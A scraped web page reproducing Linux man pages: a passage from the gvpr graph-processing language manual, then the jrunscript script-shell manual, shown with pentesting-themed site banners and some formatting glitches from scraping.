Use the contents of the specified file as the program to execute on the input. If progfile contains a slash character, the name is taken as the pathname of the file. Otherwise, gvpr will use the directories specified in the environment variable GVPRPATH to look for the file. If -f is not given, gvpr will use the first non‐option argument as the program.

-q
Turns off warning messages.

-n
Turns off graph read-ahead. By default, the variable $NG is set to the next graph to be processed. This requires a read of the next graph before processing the current graph, which may block if the next graph is only generated in response to some action pertaining to the processing of the current graph.

-V
Causes the program to print version information and exit.

-?
Causes the program to print usage information and exit.

OPERANDS

The following operand is supported:

files
Names of files containing 1 or more graphs in the dot language. If no -f option is given, the first name is removed from the list and used as the input program. If the list of files is empty, stdin will be used.

PROGRAMS

A gvpr program consists of a list of predicate‐action clauses, having one of the forms:

BEGIN { action }

BEG_G { action }

N [ predicate ] { action"}

E [ predicate ] { action"}

END_G { action }

END { action }

A program can contain at most one of each of the BEGIN, END_G and END clauses. There can be any number of BEG_G, N and E statements, the first applied to graphs, the second to nodes, the third to edges. These are separated into blocks, a block consisting of an optional BEG_G statement and all N and E statements up to the next BEG_G statement, if any. The top‐level semantics of a gvpr program are:

Evaluate the BEGIN clause, if any. For each input graph G { For each block { Set G as the current graph and current object. Evaluate the BEG_G clause, if any. For each node and edge in G { Set the node or edge as the current object. Evaluate the N or E clauses, as appropriate. } } Set G as the current object. Evaluate the END_G clause, if any. } Evaluate the END clause, if any.

The actions of the BEGIN, BEG_G, END_G and END clauses are performed when the clauses are evaluated. For N or E clauses, either the predicate or action may be omitted. If there is no predicate with an action, the action is performed on every node or edge, as appropriate. If there is no action and the predicate evaluates to true, the associated node or edge is added to the target graph.

The blocks are evaluated in the order in which they occur. Within a block, the N clauses (E clauses, respectively) are evaluated in the order in which the occur. Note, though, that within a block, N or E clauses may be interlaced, depending on the traversal order.

Predicates and actions are sequences of statements in the C dialect supported by the expr(3) library. The only difference between predicates and actions is that the former must have a type that may interpreted as either true or false. Here the usual C convention is followed, in which a non‐zero value is considered true. This would include non‐empty strings and non‐empty references to nodes, edges, etc. However, if a string can be converted to an integer, this value is used.

In addition to the usual C base types (void, int, char, float, long, unsigned and double), gvpr provides string as a synonym for char*, and the graph‐based types node_t, edge_t, graph_t and obj_t. The obj_t type can be viewed as a supertype of the other 3 concrete types; the correct base type is maintained dynamically. Besides these base types, the only other supported type expressions are (associative) arrays.

Constants follow C syntax, but strings may be quoted with either "…" or ’…’. gvpr accepts C++ comments as well as cpp‐type comments. For the latter, if a line begins with a ‘#’ character, the rest of the line is ignored.

A statement can be a declaration of a function, a variable or an array, or an executable statement. For declarations, there is a single scope. Array declarations have the form:

type array [ type0 ]

where type0 is optional. If it is supplied, the parser will enforce that all array subscripts have the specified type. If it is not supplied, objects of all types can be used as subscripts. As in C, variables and arrays must be declared. In particular, an undeclared variable will be interpreted as the name of an attribute of a node, edge or graph, depending on the context.

Executable statements can be one of the following:

{ [ statement ... ] }
expression// commonly var = expression
if( expression ) statement [ else statement ]
for( expression ; expression ; expression ) statement
for( array [ var ]) statement
forr( array [ var ]) statement
while( expression ) statement
switch( expression ) case statements
break [ expression ]
continue [ expression ]
return [ expression ]

Items in brackets are optional.

In the second form of the for statement and the forr statement, the variable var is set to each value used as an index in the specified array and then the associated statement is evaluated. For numeric and string indices, the indices are returned in increasing (decreasing) numeric or lexicographic order for for (forr, respectively). This can be used for sorting.

Function definitions can only appear in the BEGIN clause.

Expressions include the usual C expressions. String comparisons using == and != treat the right hand operand as a pattern for the purpose of regular expression matching. Patterns use ksh(1) file match pattern syntax. (For simple string equality, use the strcmp function.

gvpr will attempt to use an expression as a string or numeric value as appropriate. Both C-like casts and function templates will cause conversions to be performed, if possible.

Expressions of graphical type (i.e., graph_t, node_t, edge_t, obj_t) may be followed by a field reference in the form of **.**name. The resulting value is the value of the attribute named name of the given object. In addition, in certain contexts an undeclared, unmodified identifier is taken to be an attribute name. Specifically, such identifiers denote attributes of the current node or edge, respectively, in N and E clauses, and the current graph in BEG_G and END_G clauses.

As usual in the libcgraph(3) model, attributes are string‐valued. In addition, gvpr supports certain pseudo‐attributes of graph objects, not necessarily string‐valued. These reflect intrinsic properties of the graph objects and cannot be set by the user.

head : node_t
the head of an edge.

tail : node_t
the tail of an edge.

name : string
the name of an edge, node or graph. The name of an edge has the form “<tail‐name><edge‐op><head‐name>[<key>]”, where <edge‐op> is “->” or “” depending on whether the graph is directed or not. The bracket part [<key>] only appears if the edge has a non‐trivial key.

indegree : int
the indegree of a node.

outdegree : int
the outdegree of a node.

degree : int
the degree of a node.

X : double
the X coordinate of a node. (Assumes the node has a pos attribute.)

Y : double
the Y coordinate of a node. (Assumes the node has a pos attribute.)

root : graph_t
the root graph of an object. The root of a root graph is itself.

parent : graph_t
the parent graph of a subgraph. The parent of a root graph is NULL

n_edges : int
the number of edges in the graph

n_nodes : int
the number of nodes in the graph

directed : int
true (non‐zero) if the graph is directed

strict : int
true (non‐zero) if the graph is strict

BUILT‐IN FUNCTIONS

The following functions are built into gvpr. Those functions returning references to graph objects return NULL in case of failure.

Graphs and subgraph

graph(s : string, t : string) : graph_t
creates a graph whose name is s and whose type is specified by the string t. Ignoring case, the characters U, D, S, N have the interpretation undirected, directed, strict, and non‐strict, respectively. If t is empty, a directed, non‐strict graph is generated.

subg(g : graph_t, s : string) : graph_t
creates a subgraph in graph g with name s. If the subgraph already exists, it is returned.

isSubg(g : graph_t, s : string) : graph_t
returns the subgraph in graph g with name s, if it exists, or NULL otherwise.

fstsubg(g : graph_t) : graph_t
returns the first subgraph in graph g, or NULL if none exists.

nxtsubg(sg : graph_t) : graph_t
returns the next subgraph after sg, or NULL.

isDirect(g : graph_t) : int
returns true if and only if g is directed.

isStrict(g : graph_t) : int
returns true if and only if g is strict.

nNodes(g : graph_t) : int
returns the number of nodes in g.

nEdges(g : graph_t) : int
returns the number of edges in g.

Nodes

node(sg : graph_t, s : string) : node_t
creates a node in graph g of name s. If such a node already exists, it is returned.

subnode(sg : graph_t, n : node_t) : node_t
inserts the node n into the subgraph g. Returns the node.

fstnode(g : graph_t) : node_t
returns the first node in graph g, or NULL if none exists.

nxtnode(n : node_t) : node_t
returns the next node after n in the root graph, or NULL.

nxtnode_sg(sg : graph_t, n : node_t) : node_t
returns the next node after n in sg, or NULL.

isNode(sg : graph_t, s : string) : node_t
looks for a node in (sub)graph sg of name s. If such a node exists, it is returned. Otherwise, NULL is returned.

isSubnode(sg : graph_t, n : node_t) : int
returns non-zero if node n is in (sub)graph sg, or zero otherwise.

indegreeOf(sg : graph_t, n : node_t) : int
returns the indegree of node n in (sub)graph sg.

outdegreeOf(sg : graph_t, n : node_t) : int
returns the outdegree of node n in (sub)graph sg.

degreeOf(sg : graph_t, n : node_t) : int
returns the degree of node n in (sub)graph sg.

Edges

edge(t : node_t, h : node_t, s : string) : edge_t
creates an edge with tail node t, head node h and name s in the root graph. If the graph is undirected, the distinction between head and tail nodes is unimportant. If such an edge already exists, it is returned.

edge_sg(sg : graph_t, t : node_t, h : node_t, s : string) : edge_t
creates an edge with tail node t, head node h and name s in (sub)graph sg (and all parent graphs). If the graph is undirected, the distinction between head and tail nodes is unimportant. If such an edge already exists, it is returned.

subedge(g : graph_t, e : edge_t) : edge_t
inserts the edge e into the subgraph g. Returns the edge.

isEdge(t : node_t, h : node_t, s : string) : edge_t
looks for an edge with tail node t, head node h and name s. If the graph is undirected, the distinction between head and tail nodes is unimportant. If such an edge exists, it is returned. Otherwise, NULL is returned.

isEdge_sg(sg : graph_t, t : node_t, h : node_t, s : string) : edge_t
looks for an edge with tail node t, head node h and name s in (sub)graph sg. If the graph is undirected, the distinction between head and tail nodes is unimportant. If such an edge exists, it is returned. Otherwise, NULL is returned.

isSubedge(g : graph_t, e : edge_t) : int
returns non-zero if edge e is in (sub)graph sg, or zero otherwise.

fstout(n : node_t) : edge_t
returns the first outedge of node n in the root graph.

fstout_sg(sg : graph_t, n : node_t) : edge_t
returns the first outedge of node n in (sub)graph sg.

nxtout(e : edge_t) : edge_t
returns the next outedge after e in the root graph.

nxtout_sg(sg : graph_t, e : edge_t) : edge_t
returns the next outedge after e in graph sg.

fstin(n : node_t) : edge_t
returns the first inedge of node n in the root graph.

fstin_sg(sg : graph_t, n : node_t) : edge_t
returns the first inedge of node n in graph sg.

nxtin(e : edge_t) : edge_t
returns the next inedge after e in the root graph.

nxtin_sg(sg : graph_t, e : edge_t) : edge_t
returns the next inedge after e in graph sg.

fstedge(n : node_t) : edge_t
returns the first edge of node n in the root graph.

fstedge_sg(sg : graph_t, n : node_t) : edge_t
returns the first edge of node n in graph sg.

nxtedge(e : edge_t, node_t) : edge_t
returns the next edge after e in the root graph.

nxtedge_sg(sg : graph_t, e : edge_t, node_t) : edge_t
returns the next edge after e in the graph sg.

opp(e : edge_t, node_t) : node_t
returns the node on the edge e not equal to n. Returns NULL if n is not a node of e. This can be useful when using fstedge and nxtedge to enumerate the neighbors of n.

Graph I/O

write(g : graph_t) : void
prints g in dot format onto the output stream.

writeG(g : graph_t, fname : string) : void
prints g in dot format into the file fname.

fwriteG(g : graph_t, fd : int) : void
prints g in dot format onto the open stream denoted by the integer fd.

readG(fname : string) : graph_t
returns a graph read from the file fname. The graph should be in dot format. If no graph can be read, NULL is returned.

freadG(fd : int) : graph_t
returns the next graph read from the open stream fd. Returns NULL at end of file.

Graph miscellany

delete(g : graph_t, x : obj_t) : void
deletes object x from graph g. If g is NULL, the function uses the root graph of x. If x is a graph or subgraph, it is closed unless x is locked.

isIn(g : graph_t, x : obj_t) : int
returns true if x is in subgraph g.

cloneG(g : graph_t, s : string) : graph_t
creates a clone of graph g with name of s. If s is “”, the created graph has the same name as g.

clone(g : graph_t, x : obj_t) : obj_t
creates a clone of object x in graph g. In particular, the new object has the same name/value attributes and structure as the original object. If an object with the same key as x already exists, its attributes are overlaid by those of x and the object is returned. If an edge is cloned, both endpoints are implicitly cloned. If a graph is cloned, all nodes, edges and subgraphs are implicitly cloned. If x is a graph, g may be NULL, in which case the cloned object will be a new root graph. In this case, the call is equivalent to cloneG(x,"").

copy(g : graph_t, x : obj_t) : obj_t
creates a copy of object x in graph g, where the new object has the same name/value attributes as the original object. If an object with the same key as x already exists, its attributes are overlaid by those of x and the object is returned. Note that this is a shallow copy. If x is a graph, none of its nodes, edges or subgraphs are copied into the new graph. If x is an edge, the endpoints are created if necessary, but they are not cloned. If x is a graph, g may be NULL, in which case the cloned object will be a new root graph.

copyA(src : obj_t, tgt : obj_t) : int
copies the attributes of object src to object tgt, overwriting any attribute values tgt may initially have.

induce(g : graph_t) : void
extends g to its node‐induced subgraph extension in its root graph.

hasAttr(src : obj_t, name : string) : int
returns non-zero if object src has an attribute whose name is name. It returns 0 otherwise.

isAttr(g : graph_t, kind : string, name : string) : int
returns non-zero if an attribute name has been defined in g for objects of the given kind. For nodes, edges, and graphs, kind should be “N”, “E”, and “G”, respectively. It returns 0 otherwise.

aget(src : obj_t, name : string) : string
returns the value of attribute name in object src. This is useful for those cases when name conflicts with one of the keywords such as “head” or “root”. If the attribute has not been declared in the graph, the function will initialize it with a default value of “”. To avoid this, one should use the hasAttr or isAttr function to check that the attribute exists.

aset(src : obj_t, name : string, value : string) : int
sets the value of attribute name in object src to value. Returns 0 on success, non‐zero on failure. See aget above.

getDflt(g : graph_t, kind : string, name : string) : string
returns the default value of attribute name in objects in g of the given kind. For nodes, edges, and graphs, kind should be “N”, “E”, and “G”, respectively. If the attribute has not been declared in the graph, the function will initialize it with a default value of “”. To avoid this, one should use the isAttr function to check that the attribute exists.

setDflt(g : graph_t, kind : string, name : string, value : string) : int
sets the default value of attribute name to value in objects in g of the given kind. For nodes, edges, and graphs, kind should be “N”, “E”, and “G”, respectively. Returns 0 on success, non‐zero on failure. See getDflt above.

fstAttr(g : graph_t, kind : string) : string
returns the name of the first attribute of objects in g of the given kind. For nodes, edges, and graphs, kind should be “N”, “E”, and “G”, respectively. If there are no attributes, the string "" is returned.

nxtAttr(g : graph_t, kind : string, name : string) : string
returns the name of the next attribute of objects in g of the given kind after the attribute name. The argument name must be the name of an existing attribute; it will typically be the return value of an previous call to fstAttr or nxtAttr. For nodes, edges, and graphs, kind should be “N”, “E”, and “G”, respectively. If there are no attributes left, the string "" is returned.

compOf(g : graph_t, n : node_t) : graph_t
returns the connected component of the graph g containing node n, as a subgraph of g. The subgraph only contains the nodes. One can use induce to add the edges. The function fails and returns NULL if n is not in g. Connectivity is based on the underlying undirected graph of g.

kindOf(obj : obj_t) : string
returns an indication of the type of obj. For nodes, edges, and graphs, it returns “N”, “E”, and “G”, respectively.

lock(g : graph_t, v : int) : int
implements graph locking on root graphs. If the integer v is positive, the graph is set so that future calls to delete have no immediate effect. If v is zero, the graph is unlocked. If there has been a call to delete the graph while it was locked, the graph is closed. If v is negative, nothing is done. In all cases, the previous lock value is returned.

Strings

sprintf(fmt : string, ) : string
returns the string resulting from formatting the values of the expressions occurring after fmt according to the printf(3) format fmt

gsub(str : string, pat : string) : string
gsub(str : string, pat : string, repl : string) : string
returns str with all substrings matching pat deleted or replaced by repl, respectively.

sub(str : string, pat : string) : string
sub(str : string, pat : string, repl : string) : string
returns str with the leftmost substring matching pat deleted or replaced by repl, respectively. The characters ‘^’ and ‘$’ may be used at the beginning and end, respectively, of pat to anchor the pattern to the beginning or end of str.

substr(str : string, idx : int) : string
substr(str : string, idx : int, len : int) : string
returns the substring of str starting at position idx to the end of the string or of length len, respectively. Indexing starts at 0. If idx is negative or idx is greater than the length of str, a fatal error occurs. Similarly, in the second case, if len is negative or idx + len is greater than the length of str, a fatal error occurs.

strcmp(s1 : string, s2 : string) : int
provides the standard C function strcmp(3).

length(s : string) : int
returns the length of string s.

index(s : string, t : string) : int
rindex(s : string, t : string) : int
returns the index of the character in string s where the leftmost (rightmost) copy of string t can be found, or -1 if t is not a substring of s.

match(s : string, p : string) : int
returns the index of the character in string s where the leftmost match of pattern p can be found, or -1 if no substring of s matches p.

toupper(s : string) : string
returns a version of s with the alphabetic characters converted to upper-case.

tolower(s : string) : string
returns a version of s with the alphabetic characters converted to lower-case.

canon(s : string) : string
returns a version of s appropriate to be used as an identifier in a dot file.

html(g : graph_t, s : string) : string
returns a ``magic’’ version of s as an HTML string. This will typically be used to attach an HTML-like label to a graph object. Note that the returned string lives in g. In particular, it will be freed when g is closed, and to act as an HTML string, it has to be used with an object of g. In addition, note that the angle bracket quotes should not be part of s. These will be added if g is written in concrete DOT format.

ishtml(s : string) : int
returns non-zero if and only if s is an HTML string.

xOf(s : string) : string
returns the string “x” if s has the form “x,y”, where both x and y are numeric.

yOf(s : string) : string
returns the string “y” if s has the form “x,y”, where both x and y are numeric.

llOf(s : string) : string
returns the string “llx,lly” if s has the form “llx,lly,urx,ury”, where all of llx, lly, urx, and ury are numeric.

urOf(s)
urOf(s : string) : string returns the string “urx,ury” if s has the form “llx,lly,urx,ury”, where all of llx, lly, urx, and ury are numeric.

sscanf(s : string, fmt : string, ) : int
scans the string s, extracting values according to the sscanf(3) format fmt. The values are stored in the addresses following fmt, addresses having the form **&**v, where v is some declared variable of the correct type. Returns the number of items successfully scanned.

split(s : string, arr : array, seps : string) : int
split(s : string, arr : array) : int
tokens(s : string, arr : array, seps : string) : int
tokens(s : string, arr : array) : int
The split function breaks the string s into fields, while the tokens function breaks the string into tokens. A field consists of all non-separator characters between two separator characters or the beginning or end of the string. Thus, a field may be the empty string. A token is a maximal, non-empty substring not containing a separator character. The separator characters are those given in the seps argument. If seps is not provided, the default value is " “. The functions return the number of fields or tokens.

The fields and tokens are stored in the argument array. The array must be string-valued and have int as its index type. The entries are indexed by consecutive integers, starting at 0. Any values already stored in the array will be either overwritten, or still be present after the function returns.

I/O

print() : void
print(* expr***,…**) prints a string representation of each argument in turn onto stdout, followed by a newline.

printf(fmt : string, ) : int
printf(fd : int, fmt : string, ) : int
prints the string resulting from formatting the values of the expressions following fmt according to the printf(3) format fmt. Returns 0 on success. By default, it prints on stdout. If the optional integer fd is given, output is written on the open stream associated with fd**.**

scanf(fmt : string, ) : int
scanf(fd : int, fmt : string, ) : int
scans in values from an input stream according to the scanf(3) format fmt. The values are stored in the addresses following fmt**,** addresses having the form &v, where v is some declared variable of the correct type. By default, it reads from stdin. If the optional integer fd is given, input is read from the open stream associated with fd**.** Returns the number of items successfully scanned.

**openF(**s : string, t : string) : int
opens the file s as an I/O stream. The string argument t specifies how the file is opened. The arguments are the same as for the C function fopen(3). It returns an integer denoting the stream, or -1 on error.

As usual, streams 0, 1 and 2 are already open as stdin, stdout, and stderr, respectively. Since gvpr may use stdin to read the input graphs, the user should avoid using this stream.

closeF(fd : int) : int
closes the open stream denoted by the integer fd
.
Streams 0, 1 and 2 cannot be closed. Returns 0 on success.

readL(fd : int) : string
returns the next line read from the input stream fd
. It returns
the empty string "" on end of file. Note that the newline character is left in the returned string.

Math

exp(d : double) : double
returns e to the d
th power.

log(d : double) : double
returns the natural log of d
.

sqrt(d : double) : double
returns the square root of the double d
.

pow(d : double, x : double) : double
returns d raised to the x
th power.

cos(d : double) : double
returns the cosine of d
.

sin(d : double) : double
returns the sine of d
.

**atan2(**y : double, x : double) : double
returns the arctangent of y/x in the range -pi to pi.

MIN(y : double, x : double) : double
returns the minimum of y and x
.

MAX(y : double, x : double) : double
returns the maximum of y and x
.

Associative Arrays

# arr : int
returns the number of elements in the array arr**.**

idx in arr : int
returns 1 if a value has been set for index idx in the array arr**.** It returns 0 otherwise.

unset(v : array, idx) : int
removes the item indexed by idx**. It returns 1 if the item existed, 0 otherwise.**

**unset(**v : array) : void
re-initializes the array.

Miscellaneous

**exit(**v : int) : void
causes gvpr to exit with the exit code v.

**system(**cmd : string) : int
provides the standard C function system(3). It executes cmd in the user’s shell environment, and returns the exit status of the shell.

rand() : double
returns a pseudo‐random double between 0 and 1.

srand() : int
**srand(**v : int) : int
sets a seed for the random number generator. The optional argument gives the seed; if it is omitted, the current time is used. The previous seed value is returned. srand should be called before any calls to rand.

**colorx(**color : string, fmt : string) : string
translates a color from one format to another. The color argument should be a color in one of the recognized string representations. The fmt value should be one of “RGB”, “RGBA”, “HSV”, or “HSVA”. An empty string is returned on error.

BUILT‐IN VARIABLES

gvpr provides certain special, built‐in variables, whose values are set automatically by gvpr depending on the context. Except as noted, the user cannot modify their values.

$ : obj_t
denotes the current object (node, edge, graph) depending on the context. It is not available in BEGIN or END clauses.

$F : string
is the name of the current input file.

$G : graph_t
denotes the current graph being processed. It is not available in BEGIN or END clauses.

$NG : graph_t
denotes the next graph to be processed. If $NG is NULL, the current graph $G is the last graph. Note that if the input comes from stdin, the last graph cannot be determined until the input pipe is closed. It is not available in BEGIN or END clauses, or if the -n flag is used.

$O : graph_t
denotes the output graph. Before graph traversal, it is initialized to the target graph. After traversal and any END_G actions, if it refers to a non‐empty graph, that graph is printed onto the output stream. It is only valid in N, E and END_G clauses. The output graph may be set by the user.

$T : graph_t
denotes the current target graph. It is a subgraph of $G and is available only in N, E and END_G clauses.

$tgtname : string
denotes the name of the target graph. By default, it is set to “gvpr_result”. If used multiple times during the execution of gvpr, the name will be appended with an integer. This variable may be set by the user.

$tvroot : node_t
indicates the starting node for a (directed or undirected) depth‐first or breadth‐first traversal of the graph (cf. $tvtype below). The default value is NULL for each input graph. After the traversal at the given root, if the value of $tvroot has changed, a new traversal will begin with the new value of $tvroot. Also, set $tvnext below.

$tvnext : node_t
indicates the next starting node for a (directed or undirected) depth‐first or breadth‐first traversal of the graph (cf. $tvtype below). If a traversal finishes and the $tvroot has not been reset but the $tvnext has been set but not used, this node will be used as the next choice for $tvroot. The default value is NULL for each input graph.

$tvedge : edge_t
For BFS and DFS traversals, this is set to the edge used to arrive at the current node or edge. At the beginning of a traversal, or for other traversal types, the value is NULL.

$tvtype : tvtype_t
indicates how gvpr traverses a graph. It can only take one of the constant values with the prefix “TV_” described below. TV_flat is the default.

In the underlying graph library cgraph(3), edges in undirected graphs are given an arbitrary direction. This is used for traversals, such as TV_fwd, requiring directed edges.

ARGC : int
denotes the number of arguments specified by the -a args command‐line argument.

ARGV : string array
denotes the array of arguments specified by the -a args command‐line argument. The ith argument is given by ARGV[i].

BUILT‐IN CONSTANTS

There are several symbolic constants defined by gvpr.

NULL : obj_t
a null object reference, equivalent to 0.

TV_flat : tvtype_t
a simple, flat traversal, with graph objects visited in seemingly arbitrary order.

TV_ne : tvtype_t
a traversal which first visits all of the nodes, then all of the edges.

TV_en : tvtype_t
a traversal which first visits all of the edges, then all of the nodes.

TV_dfs : tvtype_t

TV_postdfs : tvtype_t

TV_prepostdfs : tvtype_t
a traversal of the graph using a depth‐first search on the underlying undirected graph. To do the traversal, gvpr will check the value of $tvroot. If this has the same value that it had previously (at the start, the previous value is initialized to NULL.), gvpr will simply look for some unvisited node and traverse its connected component. On the other hand, if $tvroot has changed, its connected component will be toured, assuming it has not been previously visited or, if $tvroot is NULL, the traversal will stop. Note that using TV_dfs and $tvroot, it is possible to create an infinite loop.

By default, the traversal is done in pre-order. That is, a node is visited before all of its unvisited edges. For TV_postdfs, all of a node’s unvisited edges are visited before the node. For TV_prepostdfs, a node is visited twice, before and after all of its unvisited edges.

TV_fwd : tvtype_t

TV_postfwd : tvtype_t

TV_prepostfwd : tvtype_t
A traversal of the graph using a depth‐first search on the graph following only forward arcs. The choice of roots for the traversal is the same as described for TV_dfs above. The different order of visitation specified by TV_fwd, TV_postfwd and TV_prepostfwd are the same as those specified by the analogous traversals TV_dfs, TV_postdfs and TV_prepostdfs.

TV_rev : tvtype_t

TV_postrev : tvtype_t

TV_prepostrev : tvtype_t
A traversal of the graph using a depth‐first search on the graph following only reverse arcs. The choice of roots for the traversal is the same as described for TV_dfs above. The different order of visitation specified by TV_rev, TV_postrev and TV_prepostrev are the same as those specified by the analogous traversals TV_dfs, TV_postdfs and TV_prepostdfs.

TV_bfs : tvtype_t
A traversal of the graph using a breadth‐first search on the graph ignoring edge directions. See the item on TV_dfs above for the role of $tvroot.

EXAMPLES

gvpr -i ‘N[color==“blue”]’ file.gv

Generate the node‐induced subgraph of all nodes with color blue.

gvpr -c ‘N[color==“blue”]{color = “red”}’ file.gv

Make all blue nodes red.

BEGIN { int n, e; int tot_n = 0; int tot_e = 0; } BEG_G { n = nNodes($G); e = nEdges($G); printf ("%d nodes %d edges %s “, n, e, $G.name); tot_n += n; tot_e += e; } END { printf ("%d nodes %d edges total “, tot_n, tot_e) }

Version of the program gc.

gvpr -c "”

Equivalent to nop.

BEG_G { graph_t g = graph (“merge”, “S”); } E { node_t h = clone(g,$.head); node_t t = clone(g,$.tail); edge_t e = edge(t,h,”"); e.weight = e.weight + 1; } END_G { $O = g; }

Produces a strict version of the input graph, where the weight attribute of an edge indicates how many edges from the input graph the edge represents.

BEGIN {node_t n; int deg[]} E{deg[head]++; deg[tail]++; } END_G { for (deg[n]) { printf (“deg[%s] = %d “, n.name, deg[n]); } }

Computes the degrees of nodes with edges.

BEGIN { int i, indent; int seen[string]; void prInd (int cnt) { for (i = 0; i < cnt; i++) printf (” “); } } BEG_G {

   $tvtype = TV_prepostfwd;
   $tvroot = node($,ARGV[0]);
}
N {
  if (seen[$.name]) indent--;
  else {
    prInd(indent);
      print ($.name);
    seen[$.name] = 1;
    indent++;
  }
}

Prints the depth-first traversal of the graph, starting with the node whose name is ARGV[0], as an indented list.

ENVIRONMENT

GVPRPATH
Colon‐separated list of directories to be searched to find the file specified by the -f option. gvpr has a default list built in. If GVPRPATH is not defined, the default list is used. If GVPRPATH starts with colon, the list is formed by appending GVPRPATH to the default list. If GVPRPATH ends with colon, the list is formed by appending the default list to GVPRPATH. Otherwise, GVPRPATH is used for the list.

On Windows systems, replace ``colon’’ with ``semicolon’’ in the previous paragraph.

BUGS AND WARNINGS

Scripts should be careful deleting nodes during N{} and E{} blocks using BFS and DFS traversals as these rely on stacks and queues of nodes.

When the program is given as a command line argument, the usual shell interpretation takes place, which may affect some of the special names in gvpr. To avoid this, it is best to wrap the program in single quotes.

If string constants contain pattern metacharacters that you want to escape to avoid pattern matching, two backslashes will probably be necessary, as a single backslash will be lost when the string is originally scanned. Usually, it is simpler to use strcmp to avoid pattern matching.

As of 24 April 2008, gvpr switched to using a new, underlying graph library, which uses the simpler model that there is only one copy of a node, not one copy for each subgraph logically containing it. This means that iterators such as nxtnode cannot traverse a subgraph using just a node argument. For this reason, subgraph traversal requires new functions ending in “_sg”, which also take a subgraph argument. The versions without that suffix will always traverse the root graph.

There is a single global scope, except for formal function parameters, and even these can interfere with the type system. Also, the extent of all variables is the entire life of the program. It might be preferable for scope to reflect the natural nesting of the clauses, or for the program to at least reset locally declared variables. For now, it is advisable to use distinct names for all variables.

If a function ends with a complex statement, such as an IF statement, with each branch doing a return, type checking may fail. Functions should use a return at the end.

The expr library does not support string values of (char*)0. This means we can’t distinguish between "” and (char*)0 edge keys. For the purposes of looking up and creating edges, we translate "” to be (char*)0, since this latter value is necessary in order to look up any edge with a matching head and tail.

Related to this, strings converted to integers act like char pointers, getting the value 0 or 1 depending on whether the string consists solely of zeroes or not. Thus, the ((int)“2”) evaluates to 1.

The language inherits the usual C problems such as dangling references and the confusion between ‘=’ and ‘==’.

AUTHOR

Emden R. Gansner <[email protected]>

SEE ALSO

awk(1), gc(1), dot(1), nop(1), expr(3), cgraph(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1490 - Linux cli command jrunscript

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jrunscript and provides detailed information about the command jrunscript, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jrunscript.

NAME 🖥️ jrunscript 🖥️

run a command-line script shell that supports interactive and batch modes

SYNOPSIS

Note:

This tool is experimental and unsupported.

jrunscript [options] [arguments]

options
This represents the jrunscript command-line options that can be used. See Options for the jrunscript Command.

arguments
Arguments, when used, follow immediately after options or the command name. See Arguments.

DESCRIPTION

The jrunscript command is a language-independent command-line script shell. The jrunscript command supports both an interactive (read-eval-print) mode and a batch (-f option) mode of script execution. By default, JavaScript is the language used, but the -l option can be used to specify a different language. By using Java to scripting language communication, the jrunscript command supports an exploratory programming style.

If JavaScript is used, then before it evaluates a user defined script, the jrunscript command initializes certain built-in functions and objects, which are documented in the API Specification for jrunscript JavaScript built-in functions.

OPTIONS FOR THE JRUNSCRIPT COMMAND

-cp path or -classpath path
Indicates where any class files are that the script needs to access.

****-Dname=value
Sets a Java system property.

****-Jflag
Passes flag directly to the Java Virtual Machine where the jrunscript command is running.

-l language
Uses the specified scripting language. By default, JavaScript is used. To use other scripting languages, you must specify the corresponding script engine’s JAR file with the -cp or -classpath option.

-e script
Evaluates the specified script. This option can be used to run one-line scripts that are specified completely on the command line.

-encoding encoding
Specifies the character encoding used to read script files.

-f script-file
Evaluates the specified script file (batch mode).

-f -
Enters interactive mode to read and evaluate a script from standard input.

-help or -?
Displays a help message and exits.

-q
Lists all script engines available and exits.

ARGUMENTS

If arguments are present and if no -e or -f option is used, then the first argument is the script file and the rest of the arguments, if any, are passed as script arguments. If arguments and the -e or the -f option are used, then all arguments are passed as script arguments. If arguments -e and -f are missing, then the interactive mode is used.

EXAMPLE OF EXECUTING INLINE SCRIPTS

jrunscript -e "print('hello world')"

jrunscript -e "cat('http://www.example.com')"

EXAMPLE OF USING SPECIFIED LANGUAGE AND EVALUATE THE SCRIPT FILE

jrunscript -l js -f test.js

EXAMPLE OF INTERACTIVE MODE

jrunscript
js> print('Hello World

‘); Hello World js> 34 + 55 89.0 js> t = new java.lang.Thread(function() { print(‘Hello World ‘); }) Thread[Thread-0,5,main] js> t.start() js> Hello World

js>

RUN SCRIPT FILE WITH SCRIPT ARGUMENTS

In this example, the test.js file is the script file. The arg1, arg2, and arg3 arguments are passed to the script. The script can access these arguments with an arguments array.

jrunscript test.js arg1 arg2 arg3

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

